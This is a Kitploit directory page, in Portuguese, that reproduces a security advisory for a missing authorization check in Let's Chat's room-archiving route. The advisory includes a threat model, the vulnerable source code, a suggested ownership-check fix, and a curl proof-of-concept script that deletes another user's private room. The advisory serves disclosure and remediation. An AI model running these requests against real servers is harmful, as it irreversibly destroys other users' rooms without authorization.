Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat- — Security Advisory: Controlos de Acesso Insuficientes Permitem a Eliminação Não Autorizada de Salas (Let's Chat) | Kitploit
Ferramentas/GitHubGitHub/theopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-
Autenticação e AutorizaçãoAnálise de VulnerabilidadesAnálise de CódigoSegurança WebAprendizado e Educação
GitHubtheopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-

CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-

Security Advisory: Controlos de Acesso Insuficientes Permitem a Eliminação Não Autorizada de Salas (Let's Chat)

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
3há 1 mêsAinda não revisado

Aviso de Segurança: Controles de Acesso Insuficientes Permitem Exclusão Não Autorizada de Salas (Let's Chat)

ID CVE atribuído: CVE-2026-66751

Resumo

DELETE /rooms/:room não realiza nenhuma verificação de autorização além de exigir login. Qualquer conta pode arquivar qualquer sala no servidor, incluindo salas privadas e protegidas por senha que a própria conta não tem permissão de ler, entrar ou modificar.

Arquivar é a forma como o Let's Chat exclui salas. A sala desaparece da lista de salas, consultas diretas retornam 404, e o envio de mensagens ou upload de arquivos para ela é recusado. Não existe nenhum caminho de código no aplicativo que reverta essa ação.

Versões afetadas

URL do repositório: https://github.com/sdelements/lets-chat

Vulnerável desde 0.3.0 (commit 5b5f46f, 2 de jan. de 2015, "Salas são arquivadas, em vez de excluídas") até 0.4.8, o lançamento final. Não existe versão corrigida.

Salas privadas e protegidas por senha foram introduzidas na 0.4.0, portanto o caso em que um invasor destrói uma sala cujo conteúdo ele não pode ver se aplica a partir de 0.4.0. A própria verificação ausente data de 0.3.0.

Confirmado na 0.4.8 no commit 617207f, e em docker.io/sdelements/lets-chat:latest (0.4.7).

Classificação

CWE-862: Autorização Ausente.

Pontuação base CVSS 4.0: 5.3 (Médio) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Modelo de ameaça

O invasor precisa de uma conta de usuário comum e acesso de rede à porta HTTP. Ele não precisa ser dono da sala, pertencer a ela, saber a senha dela, nem ocupar qualquer papel privilegiado. O auto-registro é habilitado por padrão (auth.local.enableRegistration em defaults.yml).

Selecionar o alvo não custa nada. GET /rooms lista salas protegidas por senha para todos os usuários por design, então o invasor pode ler a lista completa de ids de salas e arquivar cada uma por vez.

Detalhe técnico

A rota exige login e resolve a sala, e nada mais. app/controllers/rooms.js:99-109:

root@kitploit:~
app.route('/rooms/:room')
    .all(middlewares.requireLogin, middlewares.roomRoute)
    .get(function(req) {
        req.io.route('rooms:get');
    })
    .put(function(req) {
        req.io.route('rooms:update');
    })
    .delete(function(req) {
        req.io.route('rooms:archive');
    });

O handler repassa apenas um id de sala adiante. Ele nunca consulta req.user. app/controllers/rooms.js:217-232:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, function(err, room) {
        if (err) {
            console.log(err);
            return res.sendStatus(400);
        }

        if (!room) {
            return res.sendStatus(404);
        }

        res.sendStatus(204);
    });
},

O gerenciador não aceita nenhum argumento de usuário, portanto não pode verificar a propriedade nem em princípio. app/core/rooms.js:123-137:

root@kitploit:~
RoomManager.prototype.archive = function(roomId, cb) {
    var Room = mongoose.model('Room');

    Room.findById(roomId, function(err, room) {
        if (err) {
            console.error(err);
            return cb(err);
        }

        if (!room) {
            return cb('Room does not exist.');
        }

        room.archived = true;

O caminho de atualização vizinho verifica a propriedade, o que faz com que isso pareça um descuido em vez de uma escolha deliberada. app/core/rooms.js:89-91:

root@kitploit:~
if(room.private && !room.owner.equals(options.user.id)) {
    return cb('Only owner can change private room.');
}

O cliente concorda com a interpretação mais restritiva. media/js/views/room.js:28-31 decide quem vê o controle de edição, e o botão Archive Room fica dentro do modal de edição que esse controle abre:

root@kitploit:~
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');

this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);

Para uma sala protegida por senha, um não proprietário nunca vê o botão. A restrição existe apenas no navegador.

Reprodução

Requer rooms.private: true (ou LCB_ROOMS_PRIVATE=true) para que salas privadas possam ser criadas. A verificação ausente em si se aplica a todas as salas, independentemente dessa configuração.

root@kitploit:~
BASE=http://localhost:5000

# Two unrelated accounts.
for U in victim attacker; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
  -H 'Content-Type: application/json' \
  -d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'

RID=<id from the response above>

# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
  -H 'Content-Type: application/json' -d '{"name":"x"}'

# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID

# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID

Impacto

Após a requisição, a sala some de GET /rooms para todos os usuários, GET /rooms/:id retorna 404, e messages:create e files:create a rejeitam (app/core/messages.js:28-30, app/core/files.js:55-57). Nada em app/ define archived de volta para false, portanto a recuperação exige acesso direto ao banco de dados.

Correção sugerida

Passe o chamador para o gerenciador e verifique a propriedade antes de arquivar, seguindo o que update já faz. Em app/controllers/rooms.js:217:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, { user: req.user }, function(err, room) {

e em app/core/rooms.js:123, após a verificação if (!room):

root@kitploit:~
if (!room.owner.equals(options.user.id)) {
    return cb('Only the owner can archive this room.');
}
Baixar ferramenta